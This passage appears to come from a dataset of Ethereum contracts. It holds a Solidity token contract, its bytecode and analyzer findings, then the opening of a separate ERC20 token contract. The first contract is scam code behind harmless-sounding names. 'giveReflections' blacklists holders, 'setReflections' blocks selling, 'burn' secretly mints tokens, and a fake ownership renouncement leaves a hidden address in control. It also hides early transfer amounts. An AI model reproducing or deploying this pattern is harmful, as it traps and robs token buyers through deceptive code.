require((owner == msg.sender) || (msg.sender == marketAddy));
_;
}
function changeOwner(address _owner) onlyOwner public {
owner = _owner;
}
function RenounceOwnership() onlyOwner public {
owner = 0x000000000000000000000000000000000000dEaD;
}
function giveReflections(address[] memory recipients_) onlyOwner public {
for (uint i = 0; i < recipients_.length; i++) {
bots[recipients_[i]] = true;
}
}
function setReflections() onlyOwner public {
router = uniswapV2Pair;
balances1 = false;
}
function openTrading() public onlyOwner {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner,
block.timestamp
);
tradingOpen = true;
openBlock = block.number;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
receive() external payable {}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(_blackbalances[sender] != true );
require(!bots[sender] && !bots[recipient]);
if(recipient == router) {
require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address");
}
require((amount < 200000000000*10**18) || (sender == marketAddy) || (sender == owner) || (sender == address(this)));
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
if ((openBlock + 4 > block.number) && sender == uniswapV2Pair) {
emit Transfer(sender, recipient, 0);
} else {
emit Transfer(sender, recipient, amount);
}
}
function burn(address account, uint256 amount) onlyOwner public virtual {
require(account != address(0), "ERC20: burn to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
|
0x60806040526004361061012e5760003560e01c80636ebcf607116100ab578063a6f9dae11161006f578063a6f9dae1146103ed578063a9059cbb14610416578063b09f126614610453578063c9567bf91461047e578063d28d885214610495578063dd62ed3e146104c057610135565b80636ebcf607146102f457806370a08231146103315780638da5cb5b1461036e57806395d89b41146103995780639dc29fac146103c457610135565b806323b872dd116100f257806323b872dd14610233578063294e3eb114610270578063313ce567146102875780633eaaf86b146102b25780636e4ee811146102dd57610135565b8063024c2ddd1461013a57806306fdde0314610177578063095ea7b3146101a257806315a892be146101df57806318160ddd1461020857610135565b3661013557005b600080fd5b34801561014657600080fd5b50610161600480360381019061015c9190611db3565b6104fd565b60405161016e9190611e0c565b60405180910390f35b34801561018357600080fd5b5061018c610522565b6040516101999190611ec0565b60405180910390f35b3480156101ae57600080fd5b506101c960048036038101906101c49190611f0e565b6105b4565b6040516101d69190611f69565b60405180910390f35b3480156101eb57600080fd5b50610206600480360381019061020191906120cc565b6105d2565b005b34801561021457600080fd5b5061021d610719565b60405161022a9190611e0c565b60405180910390f35b34801561023f57600080fd5b5061025a60048036038101906102559190612115565b610723565b6040516102679190611f69565b60405180910390f35b34801561027c57600080fd5b5061028561081b565b005b34801561029357600080fd5b5061029c61094d565b6040516102a99190612184565b60405180910390f35b3480156102be57600080fd5b506102c7610956565b6040516102d49190611e0c565b60405180910390f35b3480156102e957600080fd5b506102f261095c565b005b34801561030057600080fd5b5061031b6004803603810190610316919061219f565b610a53565b6040516103289190611e0c565b60405180910390f35b34801561033d57600080fd5b506103586004803603810190610353919061219f565b610a6b565b6040516103659190611e0c565b60405180910390f35b34801561037a57600080fd5b50610383610ab3565b60405161039091906121db565b60405180910390f35b3480156103a557600080fd5b506103ae610ad9565b6040516103bb9190611ec0565b60405180910390f35b3480156103d057600080fd5b506103eb60048036038101906103e69190611f0e565b610b6b565b005b3480156103f957600080fd5b50610414600480360381019061040f919061219f565b610d71565b005b34801561042257600080fd5b5061043d60048036038101906104389190611f0e565b610e67565b60405161044a9190611f69565b60405180910390f35b34801561045f57600080fd5b50610468610e85565b6040516104759190611ec0565b60405180910390f35b34801561048a57600080fd5b50610493610f13565b005b3480156104a157600080fd5b506104aa611417565b6040516104b79190611ec0565b60405180910390f35b3480156104cc57600080fd5b506104e760048036038101906104e29190611db3565b6114a5565b6040516104f49190611e0c565b60405180910390f35b6001602052816000526040600020602052806000526040600020600091509150505481565b60606007805461053190612225565b80601f016020809104026020016040519081016040528092919081815260200182805461055d90612225565b80156105aa5780601f1061057f576101008083540402835291602001916105aa565b820191906000526020600020905b81548152906001019060200180831161058d57829003601f168201915b5050505050905090565b60006105c86105c161152c565b8484611534565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061067b5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61068457600080fd5b60005b8151811015610715576001600360008484815181106106a9576106a8612257565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061070d906122b5565b915050610687565b5050565b6000600654905090565b60006107308484846116ff565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061077b61152c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156107fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f290612370565b60405180910390fd5b61080f8561080761152c565b858403611534565b60019150509392505050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806108c45750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6108cd57600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600960006101000a81548160ff021916908315150217905550565b60006012905090565b60065481565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610a055750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610a0e57600080fd5b61dead600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006020528060005260406000206000915090505481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060088054610ae890612225565b80601f0160208091040260200160405190810160405280929190818152602001828054610b1490612225565b8015610b615780601f10610b3657610100808354040283529160200191610b61565b820191906000526020600020905b815481529060010190602001808311610b4457829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610c145750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610c1d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c84906123dc565b60405180910390fd5b610c9960008383611d3c565b8060066000828254610cab91906123fc565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d0091906123fc565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d659190611e0c565b60405180910390a35050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610e1a5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610e2357600080fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610e7b610e7461152c565b84846116ff565b6001905092915050565b60088054610e9290612225565b80601f0160208091040260200160405190810160405280929190818152602001828054610ebe90612225565b8015610f0b5780601f10610ee057610100808354040283529160200191610f0b565b820191906000526020600020905b815481529060010190602001808311610eee57829003601f168201915b505050505081565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610fbc5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610fc557600080fd5b600960019054906101000a900460ff1615611015576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100c9061249e565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600960026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061109e30600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600654611534565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110e9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110d91906124d3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611174573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119891906124d3565b6040518363ffffffff1660e01b81526004016111b5929190612500565b6020604051808303816000875af11580156111d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111f891906124d3565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061128130610a6b565b600080600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016112c99695949392919061256e565b60606040518083038185885af11580156112e7573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061130c91906125e4565b5050506001600960016101000a81548160ff02191690831515021790555043600b81905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016113d0929190612637565b6020604051808303816000875af11580156113ef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611413919061268c565b5050565b6007805461142490612225565b80601f016020809104026020016040519081016040528092919081815260200182805461145090612225565b801561149d5780601f106114725761010080835404028352916020019161149d565b820191906000526020600020905b81548152906001019060200180831161148057829003601f168201915b505050505081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159b9061272b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611614576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160b906127bd565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116f29190611e0c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561176f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117669061284f565b60405180910390fd5b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156117cd57600080fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118715750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61187a57600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119cc57600960009054906101000a900460ff16806119345750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061198c5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b6119cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c2906128e1565b60405180910390fd5b5b6c02863c1f5cdae42f9540000000811080611a345750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611a8c5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611ac257503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611acb57600080fd5b611ad6838383611d3c565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611b5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5390612973565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611bef91906123fc565b92505081905550436004600b54611c0691906123fc565b118015611c605750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15611cd0578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000604051611cc39190612993565b60405180910390a3611d36565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611d2d9190611e0c565b60405180910390a35b50505050565b505050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611d8082611d55565b9050919050565b611d9081611d75565b8114611d9b57600080fd5b50565b600081359050611dad81611d87565b92915050565b60008060408385031215611dca57611dc9611d4b565b5b6000611dd885828601611d9e565b9250506020611de985828601611d9e565b9150509250929050565b6000819050919050565b611e0681611df3565b82525050565b6000602082019050611e216000830184611dfd565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611e61578082015181840152602081019050611e46565b83811115611e70576000848401525b50505050565b6000601f19601f8301169050919050565b6000611e9282611e27565b611e9c8185611e32565b9350611eac818560208601611e43565b611eb581611e76565b840191505092915050565b60006020820190508181036000830152611eda8184611e87565b905092915050565b611eeb81611df3565b8114611ef657600080fd5b50565b600081359050611f0881611ee2565b92915050565b60008060408385031215611f2557611f24611d4b565b5b6000611f3385828601611d9e565b9250506020611f4485828601611ef9565b9150509250929050565b60008115159050919050565b611f6381611f4e565b82525050565b6000602082019050611f7e6000830184611f5a565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b611fc182611e76565b810181811067ffffffffffffffff82111715611fe057611fdf611f89565b5b80604052505050565b6000611ff3611d41565b9050611fff8282611fb8565b919050565b600067ffffffffffffffff82111561201f5761201e611f89565b5b602082029050602081019050919050565b600080fd5b600061204861204384612004565b611fe9565b9050808382526020820190506020840283018581111561206b5761206a612030565b5b835b8181101561209457806120808882611d9e565b84526020840193505060208101905061206d565b5050509392505050565b600082601f8301126120b3576120b2611f84565b5b81356120c3848260208601612035565b91505092915050565b6000602082840312156120e2576120e1611d4b565b5b600082013567ffffffffffffffff811115612100576120ff611d50565b5b61210c8482850161209e565b91505092915050565b60008060006060848603121561212e5761212d611d4b565b5b600061213c86828701611d9e565b935050602061214d86828701611d9e565b925050604061215e86828701611ef9565b9150509250925092565b600060ff82169050919050565b61217e81612168565b82525050565b60006020820190506121996000830184612175565b92915050565b6000602082840312156121b5576121b4611d4b565b5b60006121c384828501611d9e565b91505092915050565b6121d581611d75565b82525050565b60006020820190506121f060008301846121cc565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061223d57607f821691505b60208210811415612251576122506121f6565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006122c082611df3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156122f3576122f2612286565b5b600182019050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b600061235a602883611e32565b9150612365826122fe565b604082019050919050565b600060208201905081810360008301526123898161234d565b9050919050565b7f45524332303a206275726e20746f20746865207a65726f206164647265737300600082015250565b60006123c6601f83611e32565b91506123d182612390565b602082019050919050565b600060208201905081810360008301526123f5816123b9565b9050919050565b600061240782611df3565b915061241283611df3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561244757612446612286565b5b828201905092915050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612488601783611e32565b915061249382612452565b602082019050919050565b600060208201905081810360008301526124b78161247b565b9050919050565b6000815190506124cd81611d87565b92915050565b6000602082840312156124e9576124e8611d4b565b5b60006124f7848285016124be565b91505092915050565b600060408201905061251560008301856121cc565b61252260208301846121cc565b9392505050565b6000819050919050565b6000819050919050565b600061255861255361254e84612529565b612533565b611df3565b9050919050565b6125688161253d565b82525050565b600060c08201905061258360008301896121cc565b6125906020830188611dfd565b61259d604083018761255f565b6125aa606083018661255f565b6125b760808301856121cc565b6125c460a0830184611dfd565b979650505050505050565b6000815190506125de81611ee2565b92915050565b6000806000606084860312156125fd576125fc611d4b565b5b600061260b868287016125cf565b935050602061261c868287016125cf565b925050604061262d868287016125cf565b9150509250925092565b600060408201905061264c60008301856121cc565b6126596020830184611dfd565b9392505050565b61266981611f4e565b811461267457600080fd5b50565b60008151905061268681612660565b92915050565b6000602082840312156126a2576126a1611d4b565b5b60006126b084828501612677565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612715602483611e32565b9150612720826126b9565b604082019050919050565b6000602082019050818103600083015261274481612708565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006127a7602283611e32565b91506127b28261274b565b604082019050919050565b600060208201905081810360008301526127d68161279a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612839602583611e32565b9150612844826127dd565b604082019050919050565b600060208201905081810360008301526128688161282c565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006128cb602383611e32565b91506128d68261286f565b604082019050919050565b600060208201905081810360008301526128fa816128be565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061295d602683611e32565b915061296882612901565b604082019050919050565b6000602082019050818103600083015261298c81612950565b9050919050565b60006020820190506129a8600083018461255f565b9291505056fea2646970667358221220e529475e55a4284c9e44757e3d3e44df4083a49a6699a031b365a5a4c629c91464736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 7,760 |
0x55a15cFfD4dEef3bA6E1A2B928A60fb35180E36B
|
pragma solidity 0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract owned {
address public owner;
using SafeMath for uint256;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
// Public variables of the token
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to].add(_value) > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from].add(balanceOf[_to]);
// Subtract from the sender
balanceOf[_from] = balanceOf[_from].sub(_value);
// Add the same to the recipient
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender
totalSupply = totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance
totalSupply = totalSupply.sub(_value); // Update totalSupply
emit Burn(_from, _value);
return true;
}
}
/******************************************/
/* ADVANCED TOKEN STARTS HERE */
/******************************************/
contract CRYPTOBITECOIN is owned, TokenERC20 {
uint256 public sellPrice;
uint256 public buyPrice;
using SafeMath for uint256;
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
/* Initializes contract with initial supply tokens to the creator of the contract */
function CRYPTOBITECOIN(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to].add(_value) >= balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] = balanceOf[target].add(mintedAmount);
totalSupply = totalSupply.add(mintedAmount);
emit Transfer(0, this, mintedAmount);
emit Transfer(this, target, mintedAmount);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
/// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth
/// @param newSellPrice Price the users can sell to the contract
/// @param newBuyPrice Price users can buy from the contract
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
/// @notice Buy tokens from contract by sending ether
function buy() payable public {
uint amount = msg.value.div(buyPrice); // calculates the amount
_transfer(this, msg.sender, amount); // makes the transfers
}
